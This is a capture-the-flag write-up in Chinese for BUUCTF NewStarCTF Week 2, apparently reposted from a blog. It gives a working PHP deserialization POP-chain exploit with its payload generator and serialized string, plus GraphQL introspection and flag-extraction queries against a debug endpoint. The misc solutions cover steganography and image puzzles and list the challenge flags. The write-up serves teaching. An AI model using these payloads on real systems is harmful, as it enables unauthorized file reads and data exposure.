BUUCTF NewStarCTF 公开赛赛道Week2 Writeup

UnserializeOne

 <?phperror_reporting(0);highlight_file(__FILE__);class Start{    public $name;    protected $func;    public function __destruct()    {        echo "Welcome to NewStarCTF, ".$this->name;    }    public function __isset($var)    {        ($this->func)();    }}class Sec{    private $obj;    private $var;    public function __toString()    {        $this->obj->check($this->var);        return "CTFers";    }    public function __invoke()    {        echo file_get_contents('/flag');    }}class Easy{    public $cla;    public function __call($fun, $var)    {        $this->cla = clone $var[0];    }}class eeee{    public $obj;    public function __clone()    {        if(isset($this->obj->cmd)){            echo "success";        }    }}if(isset($_POST['pop'])){    unserialize($_POST['pop']);}

POP链

Sec::__invoke() <- Start::__isset() <- eeee::__clone() <- Easy::__call() <- Sec::__toString() <- Start::__destruct()

 class Start{    public $name;    public $func;}class Sec{    public $obj;    public $var;}class Easy{    public $cla;}class eeee{    public $obj;}$start = new Start();$sec = new Sec();$easy = new Easy();$eeee = new eeee();$eeee->obj = $start;$sec->obj = $easy;$sec->var = $eeee;$start->name = $sec;$start->func = $sec;echo serialize($start); ?>

O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

ezAPI

www.zip提供了源码

                error_reporting(0);                $id = $_POST['id'];                function waf($str)                {                    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {                        return False;                    } else {                        return True;                    }                }                function send($data)                {                    $options = array(                        'http' => array('method' => 'POST','header' => 'Content-type: application/json','content' => $data,'timeout' => 10 * 60                        )                    );                    $context = stream_context_create($options);                    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);                    return $result;                }                if (isset($id)) {                    if (waf($id)) {                        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';                        $res = json_decode(send($data));                        if ($res->data->users_user_by_pk->name !== NULL) {echo "ID: " . $id . "
Name: " . $res->data->users_user_by_pk->name;                        } else {echo "Can't found it!

DEBUG: ";var_dump($res->data);                        }                    } else {                        die("Hacker! Only Number!");                    }                } else {                    die("No Data?");                }                ?>

$_POST['data']可以传入GraphQL查询语句

开启了Debug模式，由于GraphQL自带强大的内省自检机制，可以查询出GraphQL中所有的Query、Mutaion、ObjectType、Field、Arguments。

id=1&data={"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

右键查看源码

直接关键字搜索flag，找到了ffffllllaaagggg_1n_h3r3_flag和flag字段，尝试直接查询

id=1&data={"query":"query{ffffllllaaagggg_1n_h3r3_flag{flag}}"}

MISC

Yesec no drumsticks 2

零宽度字符隐写：https://330k.github.io/misc_tools/unicode_steganography.html

Base家族识别：https://basecrack.herokuapp.com/

>>> bytes.fromhex('666c61677b496e6772336431656e745f30465f59657365635f69355f4f4f4f4f4f7d')b'flag{Ingr3d1ent_0F_Yesec_i5_OOOOO}'

Coldwinds’s Desktop

montage *.PNG -tile 12x12 -geometry 30x30+0+0 flag.pnggaps --image=flag.png --generations=50 --population=144 --size=30 --verbose

flag{Y0u_successfu11y_s01ved_the_puzz1e}

奇怪的二维码

很明显是一种QR Code，但是使用这个：https://products.aspose.app/barcode/recognize
识别不出来

code.png末尾附加了一张PNG图片

PS加上中间的定位符就行

然后用这个站：https://products.aspose.app/barcode/recognize

识别就行了

flag{Aztec_from_Age_0f_Empires}

qsdz’s girlfriend 2

题目描述

据说qsdz的girlfriend是会变化的猫猫。flag{图片中的文字}

猫变换

from PIL import Imageimg = Image.open('girlfriend.png')if img.mode == "P":    img = img.convert("RGB")assert img.size[0] == img.size[1]dim = width, height = img.sizest = 0x61a = 0x726eb = 0x6f6c64for _ in range(st):    with Image.new(img.mode, dim) as canvas:        for nx in range(img.size[0]):            for ny in range(img.size[0]):                y = (ny - nx * a) % width                x = (nx - y * b) % height                canvas.putpixel((y, x), img.getpixel((ny, nx)))canvas.show()canvas.save('flag.png')

flag{按理说这个点猪也该醒了}

来源地址：https://blog.csdn.net/mochu7777777/article/details/127152423